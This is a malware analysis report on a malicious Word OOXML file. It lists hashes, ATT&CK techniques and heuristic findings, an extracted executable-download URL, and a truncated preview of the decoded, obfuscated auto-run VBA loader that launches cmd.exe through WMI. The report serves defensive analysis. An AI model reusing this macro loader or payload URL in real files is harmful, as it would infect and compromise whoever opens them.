Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 616a960f278a960c…

MALICIOUS

Office (OOXML)

40.0 KB Created: 2019-06-13 08:38:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2019-10-30
MD5: 95c47889b10c18e63376cd061697c6ea SHA-1: f3445eefec87b0319b7db886f70e71fa37ceddec SHA-256: 616a960f278a960c99e2250fa1d2d5c1ff9134304e314355629cf1a20226505e
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.003 Windows Command Shell

This OOXML document contains an obfuscated VBA macro that automatically executes upon opening. The macro leverages GetObject and CreateObject to interact with WMI, specifically targeting the Win32_Process class to launch cmd.exe. This indicates an attempt to execute arbitrary commands or download and run a secondary payload.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://sharedmyfile.com/swiftcopy.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 13528 bytes
SHA-256: 37d5f0d8c6992da700c9613d8927bb93bb3be3e25c56f7bdfbf5089b448e9643
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Document_Open()
Call wzpjsxtdyghne
End Sub

Private Sub wzpjsxtdyghne()

Dim s34 As Object



If 88.2 = 22.2 Then
Else

End If
If 9 = 8 Then

Else


Dim inzymmgdmnpmfr As String
inzymmgdmnpmfr = "gkYzYFc.siVPafwN"


Dim yzselsyvhei

Application.Run inzymmgdmnpmfr & lxrtfcpf & rphzajet

End If





End Sub




Attribute VB_Name = "gkYzYFc"
#If VBA7 Then


#Else


#End If

#If VBA7 Then
Private Declare PtrSafe Function xhdeztheynhped Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Const rijbrggtjl = 1576715

#Else
Private Declare Function xhdeztheynhped Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
#End If


#If VBA7 Then
Const zuq = 68793624
Private Declare PtrSafe Function vlgjeiah Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#Else
Private Declare Function vlgjeiah Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#End If



#If VBA7 Then
Private Declare PtrSafe Function qmktkc Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Const nwp = 8
#Else
Private Declare Function qmktkc Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
#End If
#If VBA7 Then
Private Declare PtrSafe Function xclideoamm Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
#Else
Private Declare  Function xhdeztheynhped Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const ouqunnc = 59

Private Declare  Function vlgjeiah Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare  Function qmktkc Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare  Function xclideoamm Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
#End If

Private Type mpgeaardymhvx
     wtfcfeoqombibv As Long
End Type


#If VBA7 Then


#Else


#End If
#If VBA7 Then


#Else


#End If

#If VBA7 Then
Private Declare PtrSafe Function euzbrrz Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Const kdazkjefxjwf = 6

#Else
Private Declare Function euzbrrz Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
#End If


#If VBA7 Then
Const ggwa = 8
Private Declare PtrSafe Function zeoijpfeavaxoori Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#Else
Private Declare Function zeoijpfeavaxoori Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#End If



#If VBA7 Then
Private Declare PtrSafe Function vvozetpydqqplms Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Const cznyekt = 5
#Else
Private Declare Function vvozetpydqqplms Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
#End If
#If VBA7 Then
Private Declare PtrSafe Function enz Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
#Else
Private Declare  Function euzbrrz Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const elozplpg = 70

Private Declare  Function zeoijpfeavaxoori Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare  Function vvozetpydqqplms Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare  Function enz Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
#End If

Private Type pnaukltfhtksc
     xz
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 36352 bytes
SHA-256: fcb9a3f1e47657b24395ed82d241768c2ce1db82e48a3f2eeaa15f890e00d5b5